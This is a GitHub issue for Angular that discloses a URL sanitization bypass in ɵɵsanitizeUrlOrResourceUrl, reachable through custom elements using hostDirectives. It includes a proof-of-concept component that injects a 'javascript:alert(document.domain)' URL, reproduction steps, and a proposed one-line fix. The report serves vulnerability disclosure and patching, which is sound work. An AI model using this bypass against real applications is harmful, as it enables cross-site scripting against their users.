Skip to content

fix(core): ɵɵsanitizeUrlOrResourceUrl unsafe fallback bypasses URL sanitization on custom elements via hostDirectives (incomplete fix for CVE-2026-88057) #70739

Description

@dynamo-pentester

Which @angular/* package(s) are the source of the bug?

compiler, core

Is this a regression?

Yes

Description

Summary

This is an incomplete fix for CVE-2026-88057 (GHSA-hh8m-fm6v-7cvg), patched in Angular 22.1.0.

The original CVE addressed compile-time SecurityContext miscalculation for directive host bindings. However, the runtime fallback path in ɵɵsanitizeUrlOrResourceUrl was not fixed, leaving a silent sanitizer bypass available through the hostDirectives composition API.

Referred from Google VRP (issue filed with OSS VRP program).


Root Cause

File: packages/core/src/sanitization/sanitization.ts — line 263

// VULNERABLE (current)
export function ɵɵsanitizeUrlOrResourceUrl(unsafeUrl: any, tag: string, prop: string) {
  return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;
}

When getUrlSanitizer() receives a custom element tag (e.g. app-link) not present in the DOM security schema:

  1. getSecurityContext("app-link", "href")SecurityContext.NONE
  2. getUrlSanitizer() hits default branch → returns null
  3. null?.(unsafeUrl) ?? unsafeUrlraw unsanitized URL returned

This allows javascript: URLs to reach the DOM silently, with no warning and no bypassSecurityTrust* call required.


Compiled Output Proof

The Angular compiler intentionally emits ɵɵsanitizeUrlOrResourceUrl for hostDirectives host bindings, proving sanitization was intended:

// Custom element via hostDirectives — emits bypassable sanitizer ❌
ɵɵattribute("href", ctx.href, ɵɵsanitizeUrlOrResourceUrl);

// Native <a> element — emits safe sanitizer ✅
ɵɵattribute("href", ctx.userInput, ɵɵsanitizeUrl);

Pre-Rendered HTML Proof (SSR/SSG)

<!-- Native <a> — SANITIZED ✅ -->
<a id="safe-link" href="unsafe:javascript:alert(document.domain)">Click me (native a)</a>

<!-- Custom element via hostDirectives — BYPASSED ❌ -->
<app-link id="vuln-link" href="javascript:alert(document.domain)">Click me (custom element) - XSS!</app-link>

Angular correctly prefixes unsafe: on the native element. The custom element receives the raw javascript: URL with no sanitization.


Fix

One-line change in packages/core/src/sanitization/sanitization.ts:

// BEFORE (vulnerable)
return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? unsafeUrl;

// AFTER (fixed)
return getUrlSanitizer(tag, prop)?.(unsafeUrl) ?? ɵɵsanitizeUrl(unsafeUrl);

Replacing ?? unsafeUrl with ?? ɵɵsanitizeUrl(unsafeUrl) ensures that even when the runtime element is unknown or custom, minimum URL sanitization is always applied.


Reproduction Steps

1. Create a new Angular project with SSR:

npx -y @angular/cli@latest new vuln-poc --routing=false --style=css --ssr=true --skip-tests --skip-git --defaults
cd vuln-poc

2. Replace src/app/app.ts with the PoC below.

3. Build:

npx ng build --configuration=development

4. Inspect pre-rendered HTML:

$html = Get-Content "dist\vuln-poc\browser\index.html" -Raw
[regex]::Matches($html, 'href="[^"]*"') | ForEach-Object { Write-Host $_.Value }

Expected output confirms bypass:

href="unsafe:javascript:alert(document.domain)" ← SANITIZED (native )
href="javascript:alert(document.domain)" ← BYPASSED (custom element)

5. Serve and click the vulnerable link to trigger XSS:

npx ng serve --port 4200
# Open http://localhost:4200
# Click "Click me (custom element) - XSS!"
# alert(document.domain) executes

PoC Component (src/app/app.ts)

import { Component, Directive, HostBinding, HostListener, Input, PLATFORM_ID, inject } from '@angular/core';
import { isPlatformBrowser } from '@angular/common';

@Directive({
  selector: '[appLink]',
  standalone: true,
})
export class LinkDirective {
  @HostBinding('attr.href') @Input() href!: string;
}

@Component({
  selector: 'app-link',
  standalone: true,
  template: `<ng-content></ng-content>`,
  hostDirectives: [{ directive: LinkDirective, inputs: ['href'] }],
})
export class AppLinkComponent {
  @Input() href!: string;

  @HostListener('click')
  onClick(): void {
    if (this.href) window.location.href = this.href;
  }
}

@Component({
  selector: 'app-root',
  standalone: true,
  imports: [AppLinkComponent],
  template: `
    <a [attr.href]="userInput" id="safe-link">Click me (native a)</a>
    <app-link [href]="userInput" id="vuln-link">Click me (custom element) - XSS!</app-link>
  `,
})
export class App {
  userInput = 'javascript:alert(document.domain)';
}

Environment

Angular 22.1.6 (latest stable)
Angular CLI 22.1.8
@angular/core 22.1.6
@angular/compiler 22.1.6
Node.js 22.23.2
OS Windows 10 x64

Why This Is Not Intended Behavior

  1. CVE-2026-88057 regression — Google accepted this exact vulnerability class as a security issue. The 22.1.0 fix was incomplete.
  2. Compiler intent — The compiler explicitly emits ɵɵsanitizeUrlOrResourceUrl for this binding. If no sanitization were intended, no sanitizer would be emitted.
  3. Documented guarantee violatedangular.dev/best-practices/security states: "Angular automatically sanitizes values bound to URL-sensitive properties." No exception for custom elements is documented.
  4. No explicit opt-out used — No bypassSecurityTrust* API is called anywhere. The bypass is silent and automatic.

Affected Files

  • packages/core/src/sanitization/sanitization.tsɵɵsanitizeUrlOrResourceUrl (line 263), getUrlSanitizer (line 237)
  • packages/compiler/src/template/pipeline/src/ingest.tscalcHostBindingSecurityContexts
  • packages/compiler/src/template/pipeline/src/phases/resolve_sanitizers.ts

Please provide a link to a minimal reproduction of the bug

Self-contained - full PoC is in the Description above (app.ts + build steps). No external repo required. Reproducible with any fresh Angular 22.x SSR project.

Please provide the exception or error you saw

No exception is thrown — the bypass is silent. 

Build warning (only for native <a>, NOT for the vulnerable custom element):
WARNING: sanitizing unsafe URL value javascript:alert(document.domain)
(see https://angular.dev/best-practices/security#preventing-cross-site-scripting-xss)

DevTools console on click of vulnerable element:
(no error — alert(document.domain) executes silently)

Pre-rendered DOM confirms bypass:
<app-link href="javascript:alert(document.domain)">  ← unsanitized in DOM

Please provide the environment you discovered this bug in (run ng version)

Angular CLI: 22.1.8
Node: 22.23.2
Package Manager: npm 10.9.8
OS: win32 x64

Angular: 22.1.6
... common, compiler, compiler-cli, core, platform-browser, platform-server, router, ssr

Package                      Version
-----------------------------------------
@angular/build               22.1.8
@angular/cli                 22.1.8
@angular/common              22.1.6
@angular/compiler            22.1.6
@angular/compiler-cli        22.1.6
@angular/core                22.1.6
@angular/platform-browser    22.1.6
@angular/platform-server     22.1.6
@angular/router              22.1.6
@angular/ssr                 22.1.8
rxjs                         7.8.2
typescript                   6.0.3

Anything else?

This report was originally filed with Google's OSS Vulnerability Reward Program.
The Google security team reviewed it (priority escalated to P2) and referred it
to Angular maintainers to address upstream:

"We encourage you to work directly with the maintainers of the angular/angular
repository by opening public issues and pull requests to address this vulnerability.
When you file the report with Angular, please mention that we referred you from the VRP."

A one-line patch is proposed in the Description above. Happy to submit a PR if helpful.

Activity

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Metadata

Metadata

Assignees

No one assigned

    Labels

    area: coreIssues related to the framework runtimegemini-triagedLabel noting that an issue has been triaged by gemini

    Type

    No type

    Projects

    No projects

      Relationships

      None yet

      Development

      No branches or pull requests

      Issue actions